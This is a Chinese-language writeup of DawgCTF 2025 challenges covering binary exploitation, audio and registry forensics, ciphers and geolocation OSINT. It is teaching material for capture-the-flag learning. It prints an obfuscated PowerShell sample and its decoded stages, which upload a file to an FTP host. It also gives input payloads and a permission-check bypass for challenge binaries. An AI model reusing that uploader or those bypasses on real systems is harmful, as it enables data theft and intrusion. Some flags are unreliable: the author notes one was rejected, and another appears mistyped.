dawgctf 2025 writeup
dawgctf 2025 writeup
- 赛事信息
- pwn
- Just Parry Lol
- misc
- Don't Touch My Fone
- The Birds
- Mystery Signal I
- interns'Project
- Suspicious script
- Spectral Secrets
- Caddyshack
- forensics
- Keeping on Schedule
- Just Packets
- Crypto
- Cipher For Good
- osint
- Es ist alles in Butter
- Look Long and Prosper
- GEOSINT - chall1 - Easy
- GEOSINT - chall3 - Easy
- GEOSINT - chall4 - Easy
- GEOSINT - chall5 - Easy
- GEOSINT - chall7
- GEOSINT - chall8
- GEOSINT - chall9
- GEOSINT - chall11
赛事信息
- 赛事描述:https://ctftime.org/event/2651
- 赛事网址:https://compete.metactf.com/509/problems
- 排名:x
misc的注册表取证不错,dtmf拨号音识别也是第一次见,osint中遇到一个需要用overpass-turbo查xx附近的xx将满足的地点都筛出来的工具不错。
本次比赛的所有题目在github均有存档,题目清单:https://github.com/UMBCCyberDawgs/dawgctf-sp25
pwn
Just Parry Lol
给了一个附件,还有环境nc connect.umbccd.net 25699
关键问题分析
通过逆向发现程序存在两处隐藏逻辑需要同时触发才能获胜:
隐藏模式激活 (data_4042d4=1
)
// sub_401480
if (*data_4040c0 == 0x525241504f545541 && data_4040c8 == 0x59) // "AUPTARRAY"data_4042d4 = 1; // 激活隐藏模式
伤害倍增漏洞
// sub_401620
if (data_4042d4) {data_4040a0 -= 50; // 每轮固定伤害50data_4042d0 = 0x10b; // 将玩家攻击力设为267
}
正确Payload构造
需要同时满足以下条件:
-
输入正确的小端序魔法值:
# 使用Python精确构造字节序列 python -c 'print("\x41\x55\x50\x54\x41\x52\x52\x41\x59")'
注意:必须严格匹配8字节0x525241504f545541(大端序) + 1字节0x59
-
利用攻击力漏洞:
data_4042d0 = 0x10b; // 十进制267攻击力
在后续战斗中需选择普通攻击以应用此攻击力
完整攻击流程
# 一次性发送所有输入(包含隐藏名称+攻击序列)
./program
输入\x41\x55\x50\x54\x41\x52\x52\x41\x59\x41\x55\x50\x54\x41\x52\x52\x41\x59\x41\x55\x50\x54\x41\x52\x52\x41\x59\x41\x55\x50\x54\x41\x52\x52\x41\x59
然后一直输入1
技术原理
隐藏名称触发:精确的字节输入激活data_4042d4
标志
机器人血量溢出
flag:DawgCTF{fr4me_d4ta_m4nipulat10n}
misc
Don’t Touch My Fone
识别DTMF拨号音的网站:https://dtmf.netlify.app/
附件给了一个wav文件,文件名是Don’t Touch My Fone_dtmf.wav,打开是类似老实电话的拨号音,而且文件名给了提示是DTMF拨号音,找了一个在线网站去识别,采样率可以调整,结合人听应该是10个数字,所以flag是DawgCTF{4104553500}
flag:DawgCTF{4104553500}
The Birds
附件给了一个鸟的图片,猜测是某种替换加密。
用谷歌在线搜图,找到鸟的对应表,翻译为字母,对应明文是:thereisnoescape
flag:DawgCTF{thereisnoescape}
Mystery Signal I
一个可以解码morse的wav的网站:https://morsecode.world/international/decoder/audio-decoder-adaptive.html
附件给了一个wav文件,文件名是:Mystery Signal I_MysterySignal_1.wav,打开听是morse的特征
找到一个在线解密morse的网站,直接出flag
flag:DawgCTF{LISTENCAREFULLY}
interns’Project
题目描述是:我们的实习生为我们制定了一些测试计划。看来他们都可能已经将他们的单独项目修补在一起。你能为我测试吗?
nc connect.umbccd.net 20011
附件给了一个linux ELF文件,我们找一个在线网站打开逆向之,得到逻辑分析如下:
🔍 原理解析:
-
权限检查缺陷:仅检查第一个选项是否为2:
if ((local_428[0] == 2) && (geteuid() != 0)) // 仅检查第一个选项
-
多选项处理逻辑:程序遍历所有输入的选项,只要第一个选项非2,后续选项无需权限检查:
for (int i = 0; i < option_count; i++) {if (options[i] == 2) printFlag(); // 直接执行 }
通过分析代码逻辑,输入多选项可绕过权限检查,直接触发flag输出:
🚩 获取Flag步骤:
1. 运行程序,进入选项菜单。
2. 输入选项序列:在提示输入时输入 1 2(用空格分隔):
Enter option (1-3). Press Enter to submit: 1 2
3. 绕过权限检查:第一个选项(1)非2,跳过root权限验证。
4. 触发Flag输出:第二个选项(2)直接调用printFlag(),输出flag。
flag:DawgCTF{B@d_P3rm1ssi0ns}
Suspicious script
题目描述如下:我在一个网站上寻找家庭作业帮助。他们提供了我安装的此工具,并建议运行它以帮助解决我的作业。该文件以.ps1结尾,我不熟悉它。你能为我检查一下吗?
附件给了一个ps1的脚本,也就是powershell的可执行脚本,脚本内容如下:
$6=[SySTEm.tEXt.EnCoDing]::UNicOdE.gEtStRing([coNVerT]::FrOmbaSe64stRIng('JAB7ACEAfQA9AFsAQwBIAGEAcgBdADEAMAA1ADsAJABhAD0AWwBTAHkAUwBUAEUAbQAuAHQARQBYAHQALgBFAG4AQwBvAEQAaQBuAGcAXQA6ADoAVQBOAGkAYwBPAGQARQAuAGcARQB0AFMAdABSAGkAbgBnACgAWwBjAG8ATgBWAGUAcgBUAF0AOgA6AEYAcgBPAG0AYgBhAHMAZQA2ADQAcwB0AFIASQBuAGcAKAAnAGYAUQBCADAAQQBHAGsAQQBlAEEAQgBsAEEASABzAEEAYQBBAEIAagBBAEgAUQBBAFkAUQBCAGoAQQBIADAAQQBPAHcAQQBwAEEARQBZAEEASgBBAEEAZwBBAEMAdwBBAGEAUQBCAHkAQQBIAFUAQQBKAEEAQQBvAEEARwBVAEEAYgBBAEIAcABBAEUAWQBBAFoAQQBCAGgAQQBHADgAQQBiAEEAQgB3AEEARgBVAEEATABnAEIAcwBBAEcATQBBAGQAdwBBAGsAQQBEAHMAQQBjAEEAQgAwAEEARwBZAEEASgBBAEEAZwBBAEgAUQBBAGMAdwBCAHAAQQBFAHcAQQBkAEEAQgB1AEEARwBVAEEAYgBRAEIAMQBBAEcAYwBBAGMAZwBCAEIAQQBDADAAQQBJAEEAQgBwAEEASABJAEEAVgBRAEEAdQBBAEcAMABBAFoAUQBCADAAQQBIAE0AQQBlAFEAQgBUAEEAQwBBAEEAWgBRAEIAdABBAEcARQBBAFQAZwBCAGwAQQBIAEEAQQBlAFEAQgBVAEEAQwAwAEEASQBBAEIAMABBAEcATQBBAFoAUQBCAHEAQQBHAEkAQQBUAHcAQQB0AEEASABjAEEAWgBRAEIATwBBAEQAMABBAGEAUQBCAHkAQQBIAFUAQQBKAEEAQQA3AEEASABRAEEAYgBnAEIAbABBAEcAawBBAGIAQQBCAEQAQQBHAEkAQQBaAFEAQgBYAEEAQwA0AEEAZABBAEIAbABBAEUANABBAEwAZwBCAHQAQQBHAFUAQQBkAEEAQgB6AEEASABrAEEAVQB3AEEAZwBBAEcAVQBBAA0ACgBiAFEAQgBoAEEARQA0AEEAWgBRAEIAdwBBAEgAawBBAFYAQQBBAHQAQQBDAEEAQQBkAEEAQgBqAEEARwBVAEEAYQBnAEIAaQBBAEUAOABBAEwAUQBCADMAQQBHAFUAQQBUAGcAQQA5AEEARwB3AEEAWQB3AEIAMwBBAEMAUQBBAE8AdwBBAGkAQQBIAEEAQQBhAFEAQgA2AEEAQwA0AEEAYwB3AEIAegBBAEcARQBBAGMAQQBBAHYAQQBHADQAQQBhAFEAQQB2AEEASAAwAEEASQBRAEEAMQBBAEgAUQBBAGMAQQBBAHgAQQBHAE0AQQBOAFEAQgBmAEEARwBRAEEAWgBRAEIAdwBBAEgAQQBBAE4AQQBCAHkAQQBGAGMAQQBlAHcAQgBHAEEARgBRAEEAUQB3AEIAbgBBAEgAYwBBAFkAUQBCAEUAQQBFAEEAQQBlAFEAQgB5AEEARwBFAEEAWQB3AEIAegBBAEQAbwBBAGMAZwBCAGwAQQBIAE0AQQBkAFEAQQB2AEEAQwA4AEEATwBnAEIAdwBBAEgAUQBBAFoAZwBBAGkAQQBEADAAQQBjAEEAQgAwAEEARwBZAEEASgBBAEEANwBBAEQAWQBBAE0AUQBBAHgAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE0AQQBBAHkAQQBEAEUAQQBYAFEAQgB5AEEARwBFAEEAUwBBAEIARABBAEYAcwBBAEsAdwBBADIAQQBEAEUAQQBNAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAFkAQQANAAoATgBBAEIAZABBAEgASQBBAFkAUQBCAEkAQQBFAE0AQQBXAHcAQQByAEEARABVAEEATQBnAEEAeABBAEYAMABBAGMAZwBCAGgAQQBFAGcAQQBRAHcAQgBiAEEAQwBzAEEATgBnAEEAeABBAEQARQBBAFgAUQBCAHkAQQBHAEUAQQBTAEEAQgBEAEEARgBzAEEASwB3AEEAeQBBAEQARQBBAE0AUQBCAGQAQQBIAEkAQQBZAFEAQgBJAEEARQBNAEEAVwB3AEEAcgBBAEQAawBBAE4AQQBCAGQAQQBIAEkAQQBZAFEAQgBJAEEARQBNAEEAVwB3AEEAcgBBAEQAUQBBAE0AUQBBAHgAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE8AUQBBADUAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE0AdwBBADEAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE4AUQBBADUAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE4AUQBBAHgAQQBEAEUAQQBYAFEAQgB5AEEARwBFAEEAUwBBAEIARABBAEYAcwBBAEsAdwBBAHkAQQBEAEUAQQBNAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAFUAQQBPAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAEEAQQBNAEEAQQB4AEEARgAwAEEADQAKAGMAZwBCAGgAQQBFAGcAQQBRAHcAQgBiAEEAQwBzAEEATQBRAEEAMQBBAEYAMABBAGMAZwBCAGgAQQBFAGcAQQBRAHcAQgBiAEEAQwBzAEEATQBBAEEAdwBBAEQARQBBAFgAUQBCAHkAQQBHAEUAQQBTAEEAQgBEAEEARgBzAEEASwB3AEEANABBAEQAUQBBAFgAUQBCAHkAQQBHAEUAQQBTAEEAQgBEAEEARgBzAEEASwB3AEEANQBBAEQAawBBAFgAUQBCAHkAQQBHAEUAQQBTAEEAQgBEAEEARgBzAEEASwB3AEEAdwBBAEQARQBBAE0AUQBCAGQAQQBIAEkAQQBZAFEAQgBJAEEARQBNAEEAVwB3AEEAcgBBAEQARQBBAE4AUQBCAGQAQQBIAEkAQQBZAFEAQgBJAEEARQBNAEEAVwB3AEEAcgBBAEQATQBBAE0AZwBBAHgAQQBGADAAQQBjAGcAQgBoAEEARQBnAEEAUQB3AEIAYgBBAEMAcwBBAE4AUQBBAHgAQQBEAEUAQQBYAFEAQgB5AEEARwBFAEEAUwBBAEIARABBAEYAcwBBAEsAdwBBADUAQQBEAEUAQQBNAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAGMAQQBPAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAEEAQQBPAEEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAFcAdwBBAHIAQQBEAEkAQQBPAFEAQgBkAEEASABJAEEAWQBRAEIASQBBAEUATQBBAA0ACgBXAHcAQQByAEEARABnAEEATgBRAEIAZABBAEgASQBBAFkAUQBCAEkAQQBFAE0AQQBXAHcAQQByAEEARABjAEEATgBnAEIAZABBAEgASQBBAFkAUQBCAEkAQQBFAE0AQQBXAHcAQQA5AEEARQBZAEEASgBBAEIANwBBAEgAawBBAGMAZwBCADAAQQBBAD0APQAnACkAKQA7ACQAewBAAH0AIAA9ACIAeAAiADsAJABiAD0AJABhAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQA7AFsAYQByAFIAYQBZAF0AOgA6AHIARQBWAGUAcgBTAGUAKAAkAGIAKQA7ACgAJABiACAALQBKAG8ASQBuACAAIgAiACkAIAB8ACAAJgAoACIAJAB7ACEAfQBlACQAewBAAH0AIgApAA=='))
& ([char]105+[char]101+[char]120) $6
将其中的base64片段解码,得到的内容如下
${!}=[CHar]105;$a=[SySTEm.tEXt.EnCoDing]::UNicOdE.gEtStRing([coNVerT]::FrOmbase64stRIng('fQB0AGkAeABlAHsAaABjAHQAYQBjAH0AOwApAEYAJAAgACwAaQByAHUAJAAoAGUAbABpAEYAZABhAG8AbABwAFUALgBsAGMAdwAkADsAcAB0AGYAJAAgAHQAcwBpAEwAdABuAGUAbQB1AGcAcgBBAC0AIABpAHIAVQAuAG0AZQB0AHMAeQBTACAAZQBtAGEATgBlAHAAeQBUAC0AIAB0AGMAZQBqAGIATwAtAHcAZQBOAD0AaQByAHUAJAA7AHQAbgBlAGkAbABDAGIAZQBXAC4AdABlAE4ALgBtAGUAdABzAHkAUwAgAGUA
bQBhAE4AZQBwAHkAVAAtACAAdABjAGUAagBiAE8ALQB3AGUATgA9AGwAYwB3ACQAOwAiAHAAaQB6AC4AcwBzAGEAcAAvAG4AaQAvAH0AIQA1AHQAcAAxAGMANQBfAGQAZQBwAHAANAByAFcAewBGAFQAQwBnAHcAYQBEAEAAeQByAGEAYwBzADoAcgBlAHMAdQAvAC8AOgBwAHQAZgAiAD0AcAB0AGYAJAA7ADYAMQAxAF0AcgBhAEgAQwBbACsAMAAyADEAXQByAGEASABDAFsAKwA2ADEAMQBdAHIAYQBIAEMAWwArADYA
NABdAHIAYQBIAEMAWwArADUAMgAxAF0AcgBhAEgAQwBbACsANgAxADEAXQByAGEASABDAFsAKwAyADEAMQBdAHIAYQBIAEMAWwArADkANABdAHIAYQBIAEMAWwArADQAMQAxAF0AcgBhAEgAQwBbACsAOQA5AF0AcgBhAEgAQwBbACsAMwA1AF0AcgBhAEgAQwBbACsANQA5AF0AcgBhAEgAQwBbACsANQAxADEAXQByAGEASABDAFsAKwAyADEAMQBdAHIAYQBIAEMAWwArADUAOQBdAHIAYQBIAEMAWwArADAAMAAxAF0A
cgBhAEgAQwBbACsAMQA1AF0AcgBhAEgAQwBbACsAMAAwADEAXQByAGEASABDAFsAKwA4ADQAXQByAGEASABDAFsAKwA5ADkAXQByAGEASABDAFsAKwAwADEAMQBdAHIAYQBIAEMAWwArADEANQBdAHIAYQBIAEMAWwArADMAMgAxAF0AcgBhAEgAQwBbACsANQAxADEAXQByAGEASABDAFsAKwA5ADEAMQBdAHIAYQBIAEMAWwArADcAOQBdAHIAYQBIAEMAWwArADAAOABdAHIAYQBIAEMAWwArADIAOQBdAHIAYQBIAEMA
WwArADgANQBdAHIAYQBIAEMAWwArADcANgBdAHIAYQBIAEMAWwA9AEYAJAB7AHkAcgB0AA=='));${@} ="x";$b=$a.ToCharArray();[arRaY]::rEVerSe($b);($b -JoIn "") | &("${!}e${@}")
将其中的base64片段反复解码,得到的内容如下
}tixe{hctac};)F$ ,iru$(eliFdaolpU.lcw$;ptf$ tsiLtnemugrA- irU.metsyS emaNepyT- tcejbO-weN=iru$;tneilCbeW.teN.metsyS emaNepyT- tcejbO-weN=lcw$;"piz.ssap/ni/}!5tp1c5_depp4rW{FTCgwaD@yracs:resu//:ptf"=ptf$;611]raHC[+021]raHC[+611]raHC[+64]raHC[+521]raHC[+611]raHC[+211]raHC[+94]raHC[+411]raHC[+99]raHC[+35]raHC[+59]raHC[+511]raHC[+211]raHC[+59]raHC[+001]raHC[+15]raHC[+001]raHC[+84]raHC[+99]raHC[+011]raHC[+15]raHC[+321]raHC[+511]raHC[+911]raHC[+79]raHC[+08]raHC[+29]raHC[+85]raHC[+76]raHC[=F${yr
最终得到了一串倒序的字符串,将其翻转就得到了flag
flag:DawgCTF{Wr4pped_5c1pt5!}
Spectral Secrets
题目描述如下:我正在从limewire下载一些音乐,并遇到了一个奇怪的文件。您能帮我弄清楚它是什么吗?
附件给了一个wav文件,用audacity打开该文件查看频谱图即可得到flag
flag:DawgCTF{4ud4c17y_my_b310v3d}
Caddyshack
找到并连接到在caddyshack.umbccd.net上运行的服务器
题目描述就一句话,让连接在caddyshack.umbccd.net上运行的服务器,但是当我们访问这个网址的时候,网页并不存在,所以猜测可能需要DNS与子域名探测
使用dig检查TXT记录或子域名和IP地址
dig TXT caddyshack.umbccd.net
dig cname caddyshack.umbccd.net
我们找到了一个IP地址130.85.62.85,然后对其进行nmap扫描,看到其开放了70端口,服务是gopher
gopher 初探:
https://blog.csdn.net/qq_63701832/article/details/130517217
通过搜索了解到 Gopher是Internet上一个非常有名的信息查找系统。
Gopher协议格式
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
可以使用curl来发起gopher请求,curl gopher://130.85.62.85:70/
,发现有个路径Flag.txt
刚开始不知道gopher协议格式,没加下划线,所以找不到flag,但是通过ncat的方式,也是剑走偏锋找到了flag
flag:DawgCTF{60ph3r_15_n07_d34d!}
forensics
Keeping on Schedule
题目描述如下:公司网络上的一台计算机上有一些恶意软件。我们认为我们清除了主要有效载荷,但是它又回来了。您可以检查持久性的任何迹象吗?我们能够为您提供注册表的副本,越早越好!
注册表取证常用工具:RegistryExplorer.zip和RegistryFinder_V2.54.exe
附件是一个压缩包,文件名是:HKLM_Hives.zip,解压出来的文件列表如下:
提示我们这是一个有关注册表的ctf挑战,即注册表取证
我们用RegistryFinder_V2.54.exe工具打开,搜索字符串关键特征,DawgCTF,即可找到flag
flag:DawgCTF{Fun_W1th_T4sks}
Just Packets
流量分析取证题目,附件给了一个pcap流量包,如果直接追踪ftp的tcp流,是一大段Base64,是干扰项,对求解无帮助
T25jZSB1cG9uIGEgdGltZSwgaW4gYSBzbWFsbCwgdmlicmFudCB2aWxsYWdlIG5lc3RsZWQgYmV0d2VlbiByb2xsaW5nIGhpbGxzIGFuZCB2YXN0IGZvcmVzdHMsIGEgbXlzdGVyaW91cyBsZWdlbmQgd2FzIHdoaXNwZXJlZCBhbW9uZyB0aGUgcGVvcGxlLiBUaGUgbGVnZW5kIHNwb2tlIG9mIGFuIGFuY2llbnQgZmxhZywgaGlkZGVuIGF3YXkgZm9yIGNlbnR1cmllcywgc2FpZCB0byBncmFudCBpbW1lbnNlIHdpc2RvbSBhbmQgZm9ydHVuZSB0byB0aGUgb25lIHdobyBmb3VuZCBpdC4gVGhpcyBmbGFnIHdhcyBub3QganVzdCBhIHBpZWNlIG9mIGZhYnJpYzsgaXQgd2FzIGEgc3ltYm9sIG9mIHRoZSB2aWxsYWdlJ3MgaGlzdG9yeSBhbmQgc2VjcmV0cywgd292ZW4gaW50byBpdHMgdmVyeSB0aHJlYWRzLgoKWWVhciBhZnRlciB5ZWFyLCBjdXJpb3VzIGFkdmVudHVyZXJzIGFuZCBkZXRlcm1pbmVkIGxvY2FscyBzZXQgb3V0IHRvIGZpbmQgdGhpcyBlbHVzaXZlIGZsYWcuIFRoZXkgc2NvdXJlZCBhbmNpZW50IHRleHRzLCBkZWNpcGhlcmVkIGNyeXB0aWMgY2x1ZXMsIGFuZCBlbWJhcmtlZCBvbiBkYXJpbmcgZXhwZWRpdGlvbnMgaW50byB0aGUgdW5rbm93biBwYXJ0cyBvZiB0aGUgZm9yZXN0LiBCdXQgbm8gbWF0dGVyIGhvdyBoYXJkIHRoZXkgc2VhcmNoZWQsIHRoZSBmbGFnIHJlbWFpbmVkIGhpZGRlbiwgYXMgaWYgaXQgd2FzIGp1c3QgYSBmaWdtZW50IG9mIHRoZWlyIGNvbGxlY3RpdmUgaW1hZ2luYXRpb24uCgpBbW9uZyB0aGVzZSBzZWVrZXJzIHdhcyBhIHlvdW5nIGdpcmwgbmFtZWQgRWxhcmEuIFVubGlrZSBvdGhlcnMsIEVsYXJhIHdhcyBub3QgZHJpdmVuIGJ5IHRoZSBwcm9taXNlIG9mIHdpc2RvbSBvciBmb3J0dW5lLiBTaGUgd2FzIGNhcHRpdmF0ZWQgYnkgdGhlIHN0b3JpZXMgYW5kIHRoZSBoaXN0b3J5IHRoYXQgdGhlIGZsYWcgcmVwcmVzZW50ZWQuIFNoZSBzcGVudCBoZXIgZGF5cyBwb3Jpbmcgb3ZlciBvbGQgYm9va3MgYW5kIGxpc3RlbmluZyB0byB0aGUgdGFsZXMgb2YgdGhlIGVsZGVycy4gSGVyIGhlYXJ0IHdhcyBzZXQgb24gZmluZGluZyB0aGUgZmxhZywgbm90IGZvciB0aGUgZ2xvcnksIGJ1dCB0byB1bmRlcnN0YW5kIHRoZSBzdG9yaWVzIGl0IGhlbGQgd2l0aGluIGl0cyBmaWJlcnMuCgpPbmUgc3RhcmxpdCBldmVuaW5nLCBhcyBFbGFyYSBzYXQgcmVhZGluZyBhbiBhbmNpZW50IG1hbnVzY3JpcHQsIHNoZSBzdHVtYmxlZCB1cG9uIGEgbGluZSB0aGF0IHN0cnVjayBoZXIgZGlmZmVyZW50bHkuIEl0IHJlYWQsICJUaGUgZmxhZyB5b3Ugc2VlayBpcyBub3QgaW4gdGhpcyBzdG9yeSBhdCBhbGwuIEl0J2QgYmUgYSB3YXN0ZSBvZiB0aW1lIGFuYWx5c2luZyB0aGlzIHRleHQgZnVydGhlciAoc2VyaW91c2x5KS4iIFB1enpsZWQsIEVsYXJhIHBvbmRlcmVkIG92ZXIgdGhlc2Ugd29yZHMuIFNoZSByZWFsaXplZCB0aGF0IHRoZSBmbGFnIHdhcyBuZXZlciBtZWFudCB0byBiZSBhIHBoeXNpY2FsIG9iamVjdCB0byBiZSBkaXNjb3ZlcmVkIGluIGhlciBzdG9yeS4gSW5zdGVhZCwgbWF5YmUgaXQgd2FzIGEgbWV0YXBob3IgZm9yIHRoZSB2aWxsYWdlJ3MgcmljaCBoaXN0b3J5IGFuZCB0aGUgc3RvcmllcyB0aGF0IGJvdW5kIGl0cyBwZW9wbGUgdG9nZXRoZXIuCgpFbGFyYSBzaGFyZWQgaGVyIHJldmVsYXRpb24gd2l0aCB0aGUgdmlsbGFnZXJzLiBUaGV5IGdhdGhlcmVkIGFyb3VuZCwgbGlzdGVuaW5nIGludGVudGx5IGFzIHNoZSBzcG9rZSBvZiB0aGUgam91cm5leXMgdGhleSBoYWQgdW5kZXJ0YWtlbiBpbiBzZWFyY2ggb2YgdGhlIGZsYWcgYW5kIHRoZSBib25kcyB0aGV5IGhhZCBmb3JtZWQgYWxvbmcgdGhlIHdheS4gVGhlIHN0b3JpZXMgb2YgdGhlaXIgYW5jZXN0b3JzLCB0aGVpciBvd24gYWR2ZW50dXJlcywgYW5kIHRoZSBsZXNzb25zIHRoZXkgbGVhcm5lZCB3ZXJlIHRoZSB0cnVlIGZsYWcgb2YgdGhlaXIgdmlsbGFnZS4gSXQgd2FzIG5vdCBzb21ldGhpbmcgdG8gYmUgZm91bmQgYnV0IHNvbWV0aGluZyB0byBiZSBsaXZlZCBhbmQgcGFzc2VkIGRvd24gdGhyb3VnaCBnZW5lcmF0aW9ucy4KCkZyb20gdGhhdCBkYXkgb24sIHRoZSB2aWxsYWdlcnMgbm8gbG9uZ2VyIHNvdWdodCB0aGUgZmxhZyBpbiB0aGUgZm9yZXN0cyBvciBhbmNpZW50IHJ1aW5zLiBUaGV5IGZvdW5kIGl0IGluIHRoZWlyIGV2ZXJ5ZGF5IGxpdmVzLCBpbiB0aGUgc3RvcmllcyB0aGV5IHNoYXJlZCwgYW5kIGluIHRoZSBsZWdhY3kgdGhleSB3b3VsZCBsZWF2ZSBmb3IgZnV0dXJlIGdlbmVyYXRpb25zLiBUaGUgZmxhZyB3YXMgaW4gdGhlaXIgaGVhcnQsIGluIHRoZWlyIHN0b3JpZXMsIGEgdGV4dCB0aGF0IGRpZCBub3QgbmVlZCB0byBiZSB3cml0dGVuIGJ1dCB0byBiZSBsaXZlZCBhbmQgY2hlcmlzaGVkLiBBbmQgc28sIHRoZSB2aWxsYWdlIGNvbnRpbnVlZCB0byB0aHJpdmUsIHJpY2ggaW4gdGFsZXMgYW5kIHdpc2RvbSwgd2l0aCB0aGUgZmxhZyBmb3JldmVyIHdhdmluZyBpbiB0aGVpciBjb2xsZWN0aXZlIHNwaXJpdC4K
但是这个流量包并不大,人工审计的时候,发现每个ftp流量的16进制中的两个字母是最终flag的一部分
flag:dwagCTF{villagers_bonds}
Crypto
Cipher For Good
题目描述如下:一位计算机科学家(鲍勃)制作了这个新的(旧的)密码,并将其发送给我们试图破解。您能帮我们从鲍勃恢复原始消息吗?
给了一个附件challenge.txt,内容如下:
A -> JOY
B -> aN_
C -> ZM
D -> rN
E -> ɛN | EN
F -> RN0EIZ
G -> cX3P
H -> mZLuEC
I -> E0Ql
J -> DawgCTF{
K -> Ws
L -> CpQ
M -> ɛE
N -> Zɛ | ɛ
O -> m0v13_n1gh7
P -> QCD
Q -> NCE
R -> NT
S -> GUBF
T -> t
U -> _K_
W -> N1E
X -> E0CNHCR
Y -> }
Z -> ɛ
flag:DawgCTF{m0v13_n1gh7} 但是交上不对
osint
Es ist alles in Butter
题目描述如下:在我们访问德国时,我和我的伙伴在购物中心散步。当我们在那里时,我们享有很大的饥饿,决定去超市购买新鲜的面包和烤肉串。当我们进入商店时,我们惊喜地知道那里有一台面包滑动机!那是非常实用的。我们想回去,但是我们忘记了商店在哪里!愚蠢的美国人,不是吗?无论如何,我们很幸运,因为我的伙伴碰巧在该地区拍照,因为他喜欢建筑。您能帮我们找到超市,以便我们在飞回去之前仍然可以购买新鲜的面包吗?
hint:DawgCTF{word word-word}
题目给了一个地方的照片,看起来像是一个城堡的照片,我们直接谷歌以图搜图,找到这个地方
通过分析这个这个,发现这个地方的名字是Moabit Stromstraße Schultheiss Quartier,经过翻译好像是一个旅游景点,不过这个不重要
我们在谷歌地图上搜索Moabit Stromstraße Schultheiss Quartier这个地方,然后右键搜索附近的supermarket,因为题目描述中有蛋糕面包的关键词,因此第三个很像
根据提示,提示中的连字符很关键,第三个的店名也符合,所以flag找到
flag:DawgCTF{Kaufland Berlin-Moabit}
Look Long and Prosper
题目信息如下:在这个挑战中,您需要发现一个隐藏的秘密,但是首先,您必须找到钥匙。钥匙被隐藏在坦率的视线中。一个名为Wikikenobi的用户为您提供了面包屑小径,遵循它是您的工作。到达那里后,请仔细观察一切。
aiye_hoav_aqd_advi
hint:Wikipedia has this thing called user pages
这个题是古典密码和osint的结合,看起来像是带密钥的解密,但是密钥需要自己找,根据提示,需要Wikipedia的user page页面寻找Wikikenobi,搜索到用户如下所示:
从每句首字母提取 Vigenère 密钥,细看这两段文字,共有 7 句,每句开头的首字母依次是:
Pioneering …
As …
Deeply …
As …
With …
As …
Never …
拼出来正好是 PADAWAN —— 星球大战中“绝地学徒”的称呼。
解密后得到结果:live_long_and_edit
其实这个题用GPT的搜索加推理功能可以一把梭哈。
flag:DawgCTF{live_long_and_edit}
GEOSINT - chall1 - Easy
看背景好像是一个体育场或足球场之类的,以图搜图,搜这个标志,找到一个instagram,点进去看或者再往下翻翻
很容易发现这是一个大学,Boise State University,结合谷歌地图搜索,就是这个大学的体育场艾伯森体育馆,Albertsons Stadium
flag:DawgCTF{Im-more-of-a-bama-fan}
GEOSINT - chall3 - Easy
OSM (open street map)查询平台:https://overpass-turbo.eu/ 可以查xx附近的xx,将满足的地点都筛出来
六个帮助地理位置的工具介绍
https://nixintel.info/osint-tools/six-tools-to-help-with-geolocation/
这个题还是值得记录一下的,题目给了很显眼的银行和披萨店,即Bank of Maldives and Pizza Hut。如果我们去找某一个单独的地方,肯定是大海捞针,但是我之前记得有一款工具:好像可以用特定的语法来搜索 比如 一座建筑物附近有另一所建筑物,将满足这些条件的位置都筛选出来
在结合大模型的帮助下,我搜到了这个工具网站Overpass Turbo
Overpass Turbo是一个强大的 OSM 查询平台,支持使用 Overpass QL 语言编写复杂的空间查询。
例如,以下查询可以找出所有距离游泳池 500 米范围内的电影院:
[out:json][bbox:{{bbox}}];
node["leisure"="swimming_pool"]->.place0;
node(around.place0:500)["amenity"="cinema"]->.place1;
node.place1;
out;
对于该题目的搜索语法也不难,可以直接让GPT生成
[out:json][timeout:25];
{{geocodeArea:Maldives}}->.searchArea;// 查找所有名为 "Pizza Hut" 的节点
node["name"="Pizza Hut"](area.searchArea)->.pizzahut;// 在每个 Pizza Hut 周围 500 米范围内查找名为 "Bank of Maldives" 的节点
node(around.pizzahut:100)["name"="Bank of Maldives"]->.banks;// 输出结果
.pizzahut;
.banks;
out body;
>;
out skel qt;
通过搜索,我找到了两个地方,经过排查我很轻易的发现该地方4.171345 / 73.5113811 (lat/lon),然后再去google map去搜索就找到了
flag:DawgCTF{ifsomeoneorders@HappyCamper_KFC_delivery-illgive10000points}
GEOSINT - chall4 - Easy
给的位置是一个桥梁,海岸线的一片建筑物很有特色,于是直接用google以图搜图
找到的第一个结果就疑似目标地点,因为这个弯弯的楼很像
打开这个维基百科,发现这个地址是Skyline of Panama City, near Cinta Costera. photo taken in Casco Viejo.
然后在google map上搜索地址,发现确实如此,得到flag
flag:DawgCTF{was_this_actually_easy?}
GEOSINT - chall5 - Easy
给的地点像是一个博物馆类似的地点,如下所示,刚开始找其他的展品没找到,搜了一圈没找到在哪里
后来搜这个水母和旁边这个画的时候搜到了,然后发现一个类似的展品拍摄
打开这个flickr网站,我们可以看到这个博主拍摄了很多照片,其中就有这个“博物馆”的展品
经过探索,我本来想看照片有没有定位或评论该地点,但没有,但我通过探索这个flickr网站博主首页有地理标记的按钮,点击它发现可以定位照片
通过Baltimore和旁边的河流辅助定位,我们找到这最终是一个National Aquarium,国家水族馆巴尔的摩分馆
通过提交该位置确实获得了flag
flag:DawgCTF{howmanyofyoujustknewitwasbaltimore?}
GEOSINT - chall7
点开后,发现这一堆塑料水母很有特点,也能搜到很多相关信息
